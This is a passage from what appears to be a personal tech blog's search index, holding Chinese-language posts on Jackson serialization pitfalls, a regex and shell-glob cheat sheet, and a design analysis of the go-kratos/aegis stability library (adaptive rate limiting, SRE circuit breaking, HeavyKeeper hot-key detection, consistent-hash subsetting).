ObjectMapper 的 DefaultTyping 配置必须匹配 9.3 安全性 实践 说明 使用 PolymorphicTypeValidator 不要在生产环境使用 LaissezFaireSubTypeValidator，限制可反序列化的类 避免 @class 暴露到外部 @class 包含全限定类名，泄露内部实现 优先使用 @JsonTypeInfo + @JsonSubTypes 显式白名单优于全局 DefaultTyping 9.4 DefaultTyping 决策树 TEXT是否需要在 Object/接口 容器中保留多态类型？ ├── 否 → 不启用 DefaultTyping，使用具体类型 + TypeReference └── 是 → 启用 DefaultTyping ├── 是否需要对所有类型生效？ │ ├── 否 → 使用 @JsonTypeInfo 按类标注 │ └── 是 → 使用 activateDefaultTyping │ ├── 集合类型需要 @class 吗？ │ │ ├── 否 → 自定义 TypeResolverBuilder 跳过集合 │ │ └── 是 → 接受 Wrapper Array 结构 │ └── 有 record/final 类型吗？ │ ├── 是 → 手动加 @JsonTypeInfo 或改为普通 class │ └── 否 → 直接使用 十、常见异常速查 异常 原因 解决方案 InvalidDefinitionException: No serializer found 类无 getter 或公开字段 添加 getter，或配置 FAIL_ON_EMPTY_BEANS = false UnrecognizedPropertyException JSON 含未知字段 配置 FAIL_ON_UNKNOWN_PROPERTIES = false InvalidTypeIdException 反序列化时找不到 @class 指定的类型 检查类路径、DefaultTyping 配置 MismatchedInputException JSON 结构与目标类型不匹配 检查 JSON 格式与 Java 类结构 ClassCastException: LinkedHashMap 泛型擦除导致类型降级 使用 TypeReference 保留泛型 JsonMappingException: No suitable constructor 缺少无参构造器 添加无参构造器或 @JsonCreator 参考资料 Jackson GitHub Jackson Documentation Jackson Annotations Wiki Baeldung - Jackson Tutorial ","permalink":"https://buvidk1234.github.io/posts/serialization-and-deserialization/","summary":"\u003ch1 id=\"java-序列化与反序列化原理jackson-实战与避坑指南\"\u003eJava 序列化与反序列化：原理、Jackson 实战与避坑指南\u003c/h1\u003e\n\u003ch2 id=\"一序列化与反序列化基础\"\u003e一、序列化与反序列化基础\u003c/h2\u003e\n\u003ch3 id=\"11-定义\"\u003e1.1 定义\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e序列化（Serialization）\u003c/strong\u003e：将内存中的对象转换为可存储或可传输的数据格式（字节流、JSON、XML 等）的过程。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e反序列化（Deserialization）\u003c/strong\u003e：将存储或传输的数据格式还原为内存对象的逆过程。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eTEXT\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        序列化\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eObject ──────► byte[] / JSON / XML / Protobuf ...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        反序列化\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eObject ◄────── byte[] / JSON / XML / Protobuf ...\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003ch3 id=\"12-核心目的\"\u003e1.2 核心目的\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e场景\u003c/th\u003e\n          \u003cth\u003e说明\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e持久化\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e将对象状态保存到磁盘、数据库\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e网络传输\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRPC、HTTP API、消息队列中传递对象\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e进程间通信\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e跨 JVM 数据交换\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e深拷贝\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e通过序列化/反序列化实现对象深复制\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e缓存\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRedis、Memcached 等存储 Java 对象\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"13-常见序列化方案对比\"\u003e1.3 常见序列化方案对比\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e方案\u003c/th\u003e\n          \u003cth\u003e格式\u003c/th\u003e\n          \u003cth\u003e可读性\u003c/th\u003e\n          \u003cth\u003e性能\u003c/th\u003e\n          \u003cth\u003e跨语言\u003c/th\u003e\n          \u003cth\u003e典型场景\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eJDK Serializable\u003c/td\u003e\n          \u003ctd\u003e二进制\u003c/td\u003e\n          \u003ctd\u003e✗\u003c/td\u003e\n          \u003ctd\u003e低\u003c/td\u003e\n          \u003ctd\u003e✗\u003c/td\u003e\n          \u003ctd\u003e遗留系统\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eJSON (Jackson/Gson)\u003c/td\u003e\n          \u003ctd\u003e文本\u003c/td\u003e\n          \u003ctd\u003e✓\u003c/td\u003e\n          \u003ctd\u003e中\u003c/td\u003e\n          \u003ctd\u003e✓\u003c/td\u003e\n          \u003ctd\u003eREST API、配置\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eProtobuf\u003c/td\u003e\n          \u003ctd\u003e二进制\u003c/td\u003e\n          \u003ctd\u003e✗\u003c/td\u003e\n          \u003ctd\u003e高\u003c/td\u003e\n          \u003ctd\u003e✓\u003c/td\u003e\n          \u003ctd\u003egRPC、高性能 RPC\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eKryo\u003c/td\u003e\n          \u003ctd\u003e二进制\u003c/td\u003e\n          \u003ctd\u003e✗\u003c/td\u003e\n          \u003ctd\u003e高\u003c/td\u003e\n          \u003ctd\u003e✗\u003c/td\u003e\n          \u003ctd\u003eSpark、Flink 内部\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eHessian\u003c/td\u003e\n          \u003ctd\u003e二进制\u003c/td\u003e\n          \u003ctd\u003e✗\u003c/td\u003e\n          \u003ctd\u003e中\u003c/td\u003e\n          \u003ctd\u003e✓\u003c/td\u003e\n          \u003ctd\u003eDubbo\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eAvro\u003c/td\u003e\n          \u003ctd\u003e二进制\u003c/td\u003e\n          \u003ctd\u003e✗\u003c/td\u003e\n          \u003ctd\u003e高\u003c/td\u003e\n          \u003ctd\u003e✓\u003c/td\u003e\n          \u003ctd\u003eKafka、大数据\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"14-序列化的本质问题\"\u003e1.4 序列化的本质问题\u003c/h3\u003e\n\u003cp\u003e序列化不仅仅是\u0026quot;转格式\u0026quot;，需要解决以下核心问题：\u003c/p\u003e","title":"Serialization and Deserialization"},{"content":"Regex 1. 字符类 (Character Classes) 语法 说明 等价于 . 匹配换行符外的任意单字符 [^\\n\\r] \\d 匹配数字 [0-9] \\D 匹配非数字 [^0-9] \\w 匹配字母、数字或下划线 [A-Za-z0-9_] \\W 匹配非单词字符 [^A-Za-z0-9_] \\s 匹配空白符 [ \\t\\n\\r\\f\\v] \\S 匹配非空白符 [^ \\t\\n\\r\\f\\v] [ABC] 匹配括号内任意单字符 - [^ABC] 匹配括号内字符外的任意单字符 - 2. 量词 (Quantifiers) 语法 说明 * 匹配 0 次或多次 + 匹配 1 次或多次 ? 匹配 0 次或 1 次 {n} 匹配确切 n 次 {n,} 匹配至少 n 次 {n,m} 匹配 n 到 m 次 注：默认贪婪匹配（匹配最大长度）。在量词后追加 ?（如 *?、+?）切换为懒惰匹配（匹配最小长度）。\n3. 定位符 (Anchors) 语法 说明 ^ 匹配字符串开头 $ 匹配字符串结尾 \\b 匹配单词边界 \\B 匹配非单词边界 4. 分组与逻辑 (Groups \u0026amp; Logic) 4.1 逻辑与转义 语法 说明 | 逻辑或（如 a|b 匹配 \u0026ldquo;a\u0026rdquo; 或 \u0026ldquo;b\u0026rdquo;） \\ 转义字符（如 \\. 匹配字面量 \u0026ldquo;.\u0026quot;） 4.2 捕获分组: ( ) 创建捕获组，按左括号出现顺序从 1 自动编号。可通过 \\1 反向引用。\nREGEX\\b(\\w+)\\s+\\1\\b 目标: 匹配连续重复的单词（如 test test）。 解析: (\\w+) 为分组 1，\\1 匹配与分组 1 内容完全相同的文本。 4.3 非捕获分组: (?: ) 应用逻辑组合或量词，但不分配捕获组编号，不保存匹配结果。\nREGEX^http(?:s)?:\\/\\/ 目标: 匹配 http:// 或 https://。 解析: (?:s) 独立作用于量词 ?，不计入捕获组内存。 4.4 命名捕获分组: (?\u0026lt;name\u0026gt; ) 为捕获组显式命名标识符，便于代码提取。\nREGEX(?\u0026lt;year\u0026gt;\\d{4})-(?\u0026lt;month\u0026gt;\\d{2})-(?\u0026lt;day\u0026gt;\\d{2}) 目标: 匹配并提取 YYYY-MM-DD 格式日期。 解析: 将子串分别捕获至名为 year、month、day 的分组。 引用: 正则内部的反向引用通常使用 \\k\u0026lt;name\u0026gt; (PCRE/JS) 或 (?P=name) (Python)。 5. 常规示例 (Common Examples) 5.1 电子邮箱 REGEX^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,6}$ 5.2 中国大陆手机号 REGEX^1[3-9]\\d{9}$ 5.3 IPv4 地址 REGEX^(?:(?:25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(?:25[0-5]|2[0-4]\\d|[01]?\\d\\d?)$ 5.4 URL REGEX^https?:\\/\\/[\\w\\-]+(?:\\.[\\w\\-]+)+(?:[\\w\\-\\.,@?^=%\u0026amp;:\\/~\\+#]*[\\w\\-\\@?^=%\u0026amp;\\/~\\+#])?$ 5.5 中国大陆身份证号（18位） REGEX^[1-9]\\d{5}(?:18|19|20)\\d{2}(?:0[1-9]|1[0-2])(?:0[1-9]|[12]\\d|3[01])\\d{3}[\\dX]$ 6. 附录：Linux 通配符 (Wildcards) 注：通配符常用于 Shell 文件名匹配（Globbing），与纯正则表达式语义不同。\n语法 说明 示例 * 匹配 0 个或多个任意字符 *.txt ? 匹配确切 1 个任意字符 file?.txt [chars] 匹配方括号内任意单字符 [abc].log [a-z] 匹配指定范围的任意单字符 test[0-9].sh [!chars] / [^chars] 匹配非括号内的任意单字符 [!0-9].txt {a,b} 展开组合项 (大括号扩展) rm *.{jpg,png} ","permalink":"https://buvidk1234.github.io/posts/regex-guide/","summary":"\u003ch1 id=\"regex\"\u003eRegex\u003c/h1\u003e\n\u003ch2 id=\"1-字符类-character-classes\"\u003e1. 字符类 (Character Classes)\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: left\"\u003e语法\u003c/th\u003e\n          \u003cth style=\"text-align: left\"\u003e说明\u003c/th\u003e\n          \u003cth style=\"text-align: left\"\u003e等价于\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e.\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配换行符外的任意单字符\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e[^\\n\\r]\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e\\d\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配数字\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e[0-9]\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e\\D\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配非数字\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e[^0-9]\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e\\w\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配字母、数字或下划线\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e[A-Za-z0-9_]\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e\\W\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配非单词字符\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e[^A-Za-z0-9_]\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e\\s\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配空白符\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e[ \\t\\n\\r\\f\\v]\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e\\S\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配非空白符\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e[^ \\t\\n\\r\\f\\v]\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e[ABC]\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配括号内任意单字符\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e-\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e[^ABC]\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配括号内字符外的任意单字符\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e-\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"2-量词-quantifiers\"\u003e2. 量词 (Quantifiers)\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: left\"\u003e语法\u003c/th\u003e\n          \u003cth style=\"text-align: left\"\u003e说明\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e*\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配 0 次或多次\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e+\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配 1 次或多次\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e?\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配 0 次或 1 次\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e{n}\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配确切 n 次\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e{n,}\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配至少 n 次\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e{n,m}\u003c/code\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e匹配 n 到 m 次\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注：默认贪婪匹配（匹配最大长度）。在量词后追加 \u003ccode\u003e?\u003c/code\u003e（如 \u003ccode\u003e*?\u003c/code\u003e、\u003ccode\u003e+?\u003c/code\u003e）切换为懒惰匹配（匹配最小长度）。\u003c/p\u003e","title":"Regex Guide"},{"content":"微服务稳定性兜底：深入解析 go-kratos/aegis 的核心设计 在高并发微服务体系中，单点故障、流量洪峰、缓存热点都可能引发雪崩。aegis 是 Kratos 框架中的稳定性组件库，集成了多种常见的保护机制，以较低开销提供多层防护。本文围绕其核心模块展开，分析背后的算法原理与工程权衡。\n一、项目全景 TEXTgo-kratos/aegis ├── ratelimit/bbr # 自适应限流（BBR 算法） ├── circuitbreaker/sre # 熔断器（Google SRE 自适应节流） ├── topk/heavykeeper # Top-K 热点 key 检测（HeavyKeeper 算法） ├── hotkey # 热点 key 自动本地缓存 ├── subset # 一致性哈希子集路由 └── internal ├── window # 滑动窗口（环形数组） ├── consistent # 一致性哈希 ├── minheap # 最小堆 └── cpu # CPU 使用率采样 核心哲学：用概率和统计代替精确计数，以极低的内存和计算开销换取足够准确的系统保护。\n二、BBR 自适应限流 2.1 问题背景 传统限流通常是硬编码一个 QPS 上限（如\u0026quot;最多 1000 RPS\u0026quot;）。问题在于：\n这个数字如何确定？压测值不等于线上峰值承载 系统资源随时变化（GC、共享节点、混部），固定值失效 BBR 限流的思路是：不预设上限，而是实时观测系统状态，动态推断当前能承载多少并发。\n2.2 关键指标与核心公式 TEXTmaxInFlight = floor(maxPASS × minRT × bucketPerSecond / 1000) 指标 含义 maxPASS 滑动窗口内，单 bucket 的最大通过请求数 minRT 滑动窗口内，各 bucket 平均 RT 的最小值（ms） bucketPerSecond 每秒 bucket 数量（时间归一化系数） 这是利特尔定律（Little\u0026rsquo;s Law） 的直接应用：\n系统最大并发数 = 吞吐量 × 平均响应时间\nmaxPASS × minRT 估算出系统在\u0026quot;健康状态\u0026quot;下的理论最大正在处理请求数。\n2.3 CPU 使用率：EMA 平滑采样 GO// cpu = cpuᵗ⁻¹ × 0.95 + cpuᵗ × 0.05 curCPU = int64(float64(prevCPU)*decay + float64(stat.Usage)*(1.0-decay)) 每 500ms 采一次 CPU，使用**指数移动平均（EMA）**做平滑：\ndecay = 0.95：新采样只占 5% 权重，历史值占 95% 目的：消除瞬时 CPU 尖峰（如一次 GC），避免误触发限流 2.4 判断逻辑：带冷却窗口的双阶段判断 TEXTCPU 使用率 \u0026lt; 阈值(默认 800‰)? ├─ 从未触发限流 → 直接放行 ├─ 1秒内刚触发过限流 → 仍检查 inFlight \u0026gt; maxInFlight └─ 超过1秒 → 解除限流状态，放行 CPU 使用率 ≥ 阈值(过载)? └─ inFlight \u0026gt; maxInFlight → 触发限流，记录首次触发时间 冷却窗口（1秒） 是这里的重要设计：CPU 恢复后不立刻全量放开，防止流量骤然反弹再次打崩系统。\n2.5 请求生命周期 GOfunc (l *BBR) Allow() (ratelimit.DoneFunc, error) { if l.shouldDrop() { return nil, ratelimit.ErrLimitExceed } atomic.AddInt64(\u0026amp;l.inFlight, 1) start := time.Now().UnixNano() return func(ratelimit.DoneInfo) { rt := int64(math.Ceil(float64(time.Now().UnixNano()-start) / ms)) l.rtStat.Add(rt) // 记录响应时间 atomic.AddInt64(\u0026amp;l.inFlight, -1) l.passStat.Add(1) // 记录通过计数 }, nil } 调用方在请求完成后必须调用返回的 DoneFunc，这个回调负责更新统计数据，驱动动态阈值的持续更新。\n三、SRE 熔断器 3.1 与传统熔断器的区别 传统三态熔断器 SRE 熔断器 状态 Closed / Open / Half-Open 二态 + 概率控制 触发方式 错误率超阈值，硬性断开 平滑概率丢弃 恢复方式 Half-Open 后单次试探 逐步概率恢复 效果 阶跃式开关 渐进式自适应 3.2 核心公式：Google SRE 自适应节流 TEXT拒绝概率 dr = max(0, (total - K×accepts) / (total + 1)) accepts：窗口内后端真实接受的请求数（成功数） total：窗口内总请求数 K：激进系数 = 1 / success，默认 1 / 0.6 ≈ 1.67 直觉理解：\n健康时：total ≈ accepts，则 total \u0026lt; K×accepts，dr ≤ 0，全部放行 故障初期：accepts 下降，分子变正，dr 逐渐升高 严重故障：accepts ≈ 0，则 dr → 1，几乎全部拒绝 这是一个连续、平滑的过程，不是硬性开关。\nGOfunc (b *Breaker) Allow() error { accepts, total := b.summary() requests := b.k * float64(accepts) if total \u0026lt; b.request || float64(total) \u0026lt; requests { // 请求量不足 或 在健康区间内，放行 atomic.CompareAndSwapInt32(\u0026amp;b.state, StateOpen, StateClosed) return nil } atomic.CompareAndSwapInt32(\u0026amp;b.state, StateClosed, StateOpen) dr := math.Max(0, (float64(total)-requests)/float64(total+1)) if b.trueOnProba(dr) { // 以概率 dr 决定是否丢弃 return circuitbreaker.ErrNotAllowed } return nil } 3.3 失败标记的巧妙设计 GOfunc (b *Breaker) MarkFailed() { b.stat.Add(0) // 只增加 total（Count），不增加 accepts（Points之和） } 失败时写入 0，而非不写。这样 total 增加但 accepts 不变，失败次数越多，accepts/total 比率越低，拒绝概率自然越高。\n3.4 Group：按下游服务独立管理熔断器 GO// 每个下游服务一个独立断路器，互不影响 orderCB := group.GetCircuitBreaker(\u0026#34;order-service\u0026#34;) userCB := group.GetCircuitBreaker(\u0026#34;user-service\u0026#34;) 基于 sync.Map 实现懒加载，LoadOrStore 保证并发安全，同一个 key 只创建一个实例。\n四、HeavyKeeper：Top-K 热点检测 4.1 问题背景 在亿级请求流中找出访问最频繁的 K 个 key，朴素方案（全量 HashMap）内存开销不可接受。HeavyKeeper 用 概率草图（Sketch）+ 最小堆 解决这个问题。\n4.2 数据结构 TEXTbuckets[depth][width] ← 二维数组，类似 Count-Min Sketch 每个 bucket = { fingerprint uint32, count uint32 } minHeap(size=K) ← 维护当前 Top-K 候选集 4.3 Add 核心逻辑 TEXT对每一行 row[i]： 用不同种子的 MurmurHash 定位到 bucketNumber ├─ count == 0 → 直接占用（写入新 key 的 fingerprint） ├─ fingerprint 匹配 → count += incr（同一 key，累加） └─ fingerprint 不匹配 → 【哈希冲突！以 decay^count 概率将 count-1】 count 减到 0 → 被新 key 抢占 maxCount = 取所有行中该 key 的最大 count 与 minHeap 比较 → 进入/更新/忽略 Top-K 4.4 概率衰减：高频 key 天然稳固 冲突时不是直接覆盖，而是以 decay^count 的概率递减 count：\nGOdecay := topk.lookupTable[curCount] // 预计算的 0.925^count if topk.r.Float64() \u0026lt; decay { row[bucketNumber].count-- } count decay=0.925 时，衰减概率 1 92.5% 10 ≈ 46% 50 ≈ 1.6% 100 ≈ 0.03% 高频 key 计数大，每次冲突几乎不会被减掉；低频偶发 key 很容易被挤出。这是算法保持较高精度的重要原因。\n4.5 Fading：时间衰减防止历史霸榜 GOfunc (topk *HeavyKeeper) Fading() { for _, row := range topk.buckets { for i := range row { row[i].count = row[i].count \u0026gt;\u0026gt; 1 // 全部计数 /2 } } // 同步衰减 minHeap 中的计数 } 定期调用 Fading() 让历史热点\u0026quot;冷却\u0026quot;，及时响应访问模式的变化（例如秒杀结束后，原热点应退出 Top-K）。\n五、HotKey：热点自动本地缓存 HotKey 是 Top-K 之上的业务封装，用来闭环处理热点 key 缓存穿透问题。\n5.1 三种缓存策略 策略 触发条件 适用场景 AutoCache Top-K 自动识别进入 Top-K 的 key 动态热点（爆款、秒杀） WhiteList 预配置的固定 key 或正则规则 已知热点（首页、公告） BlackList 预配置的禁止缓存规则 隐私数据、实时性要求高的接口 5.2 完整请求处理流程 TEXT请求 key │ ▼ HotKey.Get(key) ──命中本地缓存──→ 直接返回（本地内存命中，绕过 Redis） │ 未命中 ▼ 查询真实数据源（Redis / DB） │ ▼ HotKey.AddWithValue(key, result, 1) │ ├─ Top-K 统计更新 → 进入 Top-K + AutoCache + 不在黑名单 → 写本地缓存 ├─ 在白名单 → 写本地缓存（自定义 TTL） └─ Top-K 中有 key 被踢出 → 删除其本地缓存（防内存泄漏） 定期 Fading() → 热点统计衰减，反映最新访问趋势 5.3 本地缓存的 TTL 实现细节 GO// 存入：用\u0026#34;与 startTime 的偏移量\u0026#34;代替绝对时间戳 item.ttl = ttl + uint32(now - l.startTime) // 读取：比较偏移量，避免重复调用 time.Now() if int64(val.ttl) \u0026gt; (time.Now().UnixNano()/ms - l.startTime) { return val.val, true } 用启动时间作为基准偏移，减少时间相关的运算开销。底层是 groupcache/lru，容量满后自动淘汰最久未使用的 key。\n六、Subset：一致性哈希子集路由 6.1 问题背景 大规模微服务中，每个客户端如果连接所有后端节点，连接数会爆炸（N×M 量级）。Subset 方案：每个客户端只连接后端节点的一个子集，但要保证：\n负载均衡：各后端节点被选中的概率相同 稳定性：后端节点扩缩容时，已有连接变动最少 6.2 一致性哈希解决扩缩容问题 TEXT哈希环（0 ~ 2³²）： ... ──[A160]──[B32]──[C97]──[D214]──[A201]──[B178]── ... ↑ 虚拟节点（每个实体节点 160 个） \u0026#34;client-1\u0026#34; 的 hash → 落在 B32 ~ C97 之间 → 顺时针找到 C 增加节点 E 时，只有 E 周围区间的 key 会重新映射到 E，其余不受影响。160 个虚拟节点保证哈希环分布均匀，避免负载倾斜。\nGOfunc Subset[M consistent.Member](selectKey string, inss []M, num int) []M { c := consistent.New[M]() c.NumberOfReplicas = 160 c.UseFnv = true // FNV hash，比 CRC32 更快且碰撞更少 c.Set(inss) return subset(c, selectKey, inss, num) // GetN：顺时针取 num 个不重复节点 } 七、internal：被忽视的基础设施层 7.1 滑动窗口（环形数组） BBR 限流器和 SRE 断路器的统计数据都依赖滑动窗口：\nTEXT时间轴 ─────────────────────────────────────→ [bucket0][bucket1][bucket2]...[bucket99] ↑ 最旧（清零复用） ↑ 当前写入 时间推进 → 旧 bucket 自动 Reset() 后复用，无 GC 压力 这里的关键点是使用环形数组（而非链表），每个 bucket 通过 next 指针成环，避免切片扩容和 GC 压力。\n7.2 最小堆 HeavyKeeper 用固定大小的最小堆维护 Top-K 候选集：堆顶是 Top-K 中最小的计数。新元素只有比堆顶大才能进入（挤出堆顶），保证堆中始终是当前最大的 K 个元素。\n八、模块协作全景图 TEXT+---------------------------------------------------------+ | 业务请求入口 | +------+------------------+-------------------+-----------+ | | | v v v +------------+ +------------------+ +-----------------+ | BBR 限流 | | SRE 熔断器 | | HotKey 热点缓存 | | 过载时拒绝 | | 下游故障时熔断 | | 命中直接返回 | +-----+------+ +--------+---------+ +-------+---------+ | | | | 依赖 | 依赖 | 依赖 v v v +---------------------------------------------------------+ | internal 基础层 | | window（滑动窗口） minheap（最小堆） | | consistent（一致性哈希） cpu（CPU采样） | +---------------------------------------------------------+ 九、设计哲学总结 技术问题 解决手段 核心算法 CPU 采样毛刺 EMA 指数平滑 指数移动平均 动态限流阈值 实时推断系统容量 Little\u0026rsquo;s Law 熔断激进 vs 保守 概率丢弃代替硬性开关 Google SRE 自适应节流 海量 key 中找热点 概率草图 + 最小堆 HeavyKeeper 热点识别后的处理 自动本地缓存 LRU + 白/黑名单 大规模服务发现 子集选择减少连接数 一致性哈希 时序统计效率 无 GC 压力的环形数组 滑动窗口 aegis 最值得借鉴的并不只是某一个具体算法，而是它一以贯之的设计取向：在工程实践中，\u0026ldquo;够用的准确度 + 极低的开销\u0026quot;往往优于\u0026quot;完美的准确度 + 高昂的代价\u0026rdquo;。在这类场景里，概率算法通常不是妥协，而是更合适的工程解。\n参考资料 go-kratos/aegis HeavyKeeper: An Accurate Algorithm for Finding Top-k Elephant Flows (USENIX ATC 2018) Google SRE Book - Handling Overload Little\u0026rsquo;s Law Consistent Hashing Exponential Smoothing ","permalink":"https://buvidk1234.github.io/posts/aegis-tech-blog/","summary":"\u003ch1 id=\"微服务稳定性兜底深入解析-go-kratosaegis-的核心设计\"\u003e微服务稳定性兜底：深入解析 go-kratos/aegis 的核心设计\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e在高并发微服务体系中，单点故障、流量洪峰、缓存热点都可能引发雪崩。aegis 是 Kratos 框架中的稳定性组件库，集成了多种常见的保护机制，以较低开销提供多层防护。本文围绕其核心模块展开，分析背后的算法原理与工程权衡。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 